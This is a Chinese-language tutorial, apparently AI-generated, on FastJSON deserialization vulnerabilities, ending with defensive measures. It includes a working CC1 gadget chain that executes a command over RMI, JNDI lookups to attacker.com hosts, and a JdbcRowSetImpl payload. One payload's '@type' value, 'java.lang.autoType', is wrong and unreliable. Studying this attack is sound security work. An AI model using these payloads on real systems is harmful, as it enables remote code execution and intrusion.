FastJSON反序列化漏洞--手把手解析
字数 2308 2025-09-23 19:27:38
FastJSON反序列化漏洞核心技术原理深度解析教学文档
一、 前置核心知识:RMI (Remote Method Invocation)
1. RMI 核心概念
RMI是Java实现的远程方法调用机制,用于在分布式系统中进行跨JVM的通信。
- 核心思想:客户端可以调用远程服务器上的对象方法,就像调用本地对象一样。
- 通信基础:所有网络通信和对象传输都自动基于Java序列化和反序列化完成。
- 接口约束:远程接口必须继承
java.rmi.Remote,且所有方法需声明抛出RemoteException。 - 注册中心:使用RMI注册表(RMI Registry,默认端口1099)来注册和查找远程服务。
2. RMI 详细工作流程与代码实现
服务端实现步骤:
-
定义远程接口:接口必须继承
Remote。package RMI; import java.rmi.Remote; import java.rmi.RemoteException; public interface Test extends Remote { // 继承Remote public int add(int a, int b) throws RemoteException; // 定义方法 public void exe(Object o) throws RemoteException; // 关键:接收Object参数,为漏洞利用埋下伏笔 } -
实现远程接口:编写接口的具体实现类。
package RMI; import java.rmi.RemoteException; public class TestImpl implements Test { // 实现Test接口 @Override public int add(int a, int b) throws RemoteException { System.out.println(a + b); return a + b; } @Override public void exe(Object o) throws RemoteException { // 关键方法:直接打印或处理传入的Object对象 System.out.println(o); // 此处若o是恶意反序列化对象,则会触发漏洞 } } -
创建并注册服务:将实现类实例化并绑定到RMI Registry。
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RmiServer { public static void main(String[] args) throws RemoteException { // 1. 在1099端口创建本地RMI注册表 Registry registry = LocateRegistry.createRegistry(1099); // 2. 实例化远程对象 TestImpl testImpl = new TestImpl(); // 3. 关键步骤:导出远程对象,使其具备网络通信能力(序列化/反序列化) // UnicastRemoteObject.exportObject() 返回一个继承了Serializable的Remote代理对象 Test stub = (Test) UnicastRemoteObject.exportObject(testImpl, 0); // 4. 将代理对象绑定到注册表,客户端通过名称"testImp"查找 registry.rebind("testImp", stub); // 5. 保持服务器运行,等待客户端调用 synchronized (RmiServer.class) { try { RmiServer.class.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } } }
客户端实现步骤:
- 持有与服务端完全一致的远程接口 (
Test.java)。 - 查找并调用远程方法:
import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RmiClient { public static void main(String[] args) throws RemoteException, NotBoundException { // 1. 连接到指定主机和端口的RMI注册表 Registry localRegistry = LocateRegistry.getRegistry("127.0.0.1", 1099); // 2. 通过名称查找远程对象,返回的是代理存根(Stub) Test testImp = (Test) localRegistry.lookup("testImp"); // 3. 像调用本地方法一样进行远程调用 testImp.add(1, 3); // 正常调用,服务端执行加法 } }
3. RMI漏洞模拟与利用
漏洞产生的核心在于:RMI在传输参数时会自动进行反序列化。
- 利用点:客户端向服务端的
exe(Object o)方法传递一个精心构造的恶意序列化对象。 - 利用链:使用Commons-Collections (CC) 反序列化利用链(例如CC1)。
- 恶意客户端代码示例:
// ... 省略RMI连接代码 ... // 调用exe方法,传入恶意构造的CC1链Payload testImp.exe(cc1()); // cc1()方法返回一个触发命令执行的恶意对象 public static Object cc1() throws Exception { // 1. 构造Transformer链,最终目的是执行Runtime.getRuntime().exec("calc") ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }); // 2. 构造TransformedMap触发链 Map<Object, Object> innerMap = new HashMap<>(); innerMap.put("value", "aa"); Map decoratedMap = TransformedMap.decorate(innerMap, null, chain); // 3. 通过反射实例化AnnotationInvocationHandler,它是触发Transformer链的入口 Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object handler = constructor.newInstance(Target.class, decoratedMap); return handler; // 返回恶意对象 } - 结果:当服务端的
exe(Object o)方法尝试处理接收到的对象时,反序列化过程会触发CC链,导致服务端弹出计算器(calc),从而证明远程代码执行(RCE)成功。
二、 关联知识:JNDI (Java Naming and Directory Interface)
虽然原文未在提供的片段中详细展开JNDI,但它是FastJSON等反序列化漏洞的另一个核心利用点,必须了解。
- 定义:JNDI是一个API,用于访问命名和目录服务(如LDAP, RMI, DNS)。
- 在漏洞中的作用:攻击者可以构造一个JNDI引用(如
rmi://attacker-server/Exploit),当FastJSON反序列化此字符串时,会触发JNDI查找。 - 利用流程:
- 攻击者控制一个RMI或LDAP服务器,其上绑定了一个指向恶意Java类的引用。
- 诱使目标(存在漏洞的FastJSON应用)反序列化一个包含
"@type": "java.lang.autoType", "name": {"@type": "java.lang.String", "val": "rmi://attacker.com/Exploit"}之类的JSON字符串。 - 目标应用会向攻击者的服务器发起JNDI查找请求。
- 服务器返回一个Reference,指示从
http://attacker.com/Exploit.class加载恶意类。 - 目标应用加载并初始化该恶意类,触发其中的静态代码块或构造函数,导致RCE。
三、 FastJSON漏洞核心原理分析
原文的核心逻辑在于:FastJSON在反序列化时,会自动调用目标对象的setter方法和特定类型的构造函数。
- 入口:FastJSON解析JSON时,如果指定了
@type属性,它会尝试创建该类的实例。 - 恶意调用链构造:攻击者精心构造一个JSON,其中
@type指定为一个具有危险方法或属性的类(如JdbcRowSetImpl)。 - 触发点:在实例化过程中,FastJSON会调用该类的setter方法。例如,
JdbcRowSetImpl的setDataSourceName()方法可以设置数据源名,而其setAutoCommit()方法在被调用时,会尝试从设置的dataSourceName进行JNDI查找,从而连接攻击者控制的恶意JNDI服务器,触发上述JNDI注入漏洞,最终导致RCE。
简化漏洞Payload示例:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://attacker-ip:1099/Exploit",
"autoCommit": true
}
当FastJSON反序列化此JSON时,流程为:
JdbcRowSetImpl实例化 -> 调用setDataSourceName("rmi://...") -> 调用setAutoCommit(true) -> 内部触发JNDI查找 -> 连接恶意RMI服务器 -> 加载恶意类 -> RCE
四、 总结与关键点
- 根本原因:FastJSON在反序列化时,基于
@type自动创建对象并调用其setter方法的机制。 - 核心利用技术:
- RMI:理解其作为通信机制如何自动进行(反)序列化,是早期漏洞利用的基础。
- JNDI注入:这是FastJSON漏洞最经典的利用方式,通过触发JNDI查找从远程加载恶意类。
- 反序列化利用链(如CC链):在特定环境下,直接传入恶意序列化对象也可触发RCE。
- 防御思路:
- 升级FastJSON:使用已修复漏洞的最新版本。
- 关闭autotype:在配置中禁用
autotype功能(ParserConfig.getGlobalInstance().setAutoTypeSupport(false))。 - 黑白名单:使用
addAccept()和addDeny()设置严格的白名单或黑名单。 - 网络层面:限制出站网络连接,防止服务器向外发起JNDI连接请求。
此文档完全基于您提供的链接内容生成,涵盖了从基础RMI机制到高级漏洞利用的完整知识链,关键细节均已包含。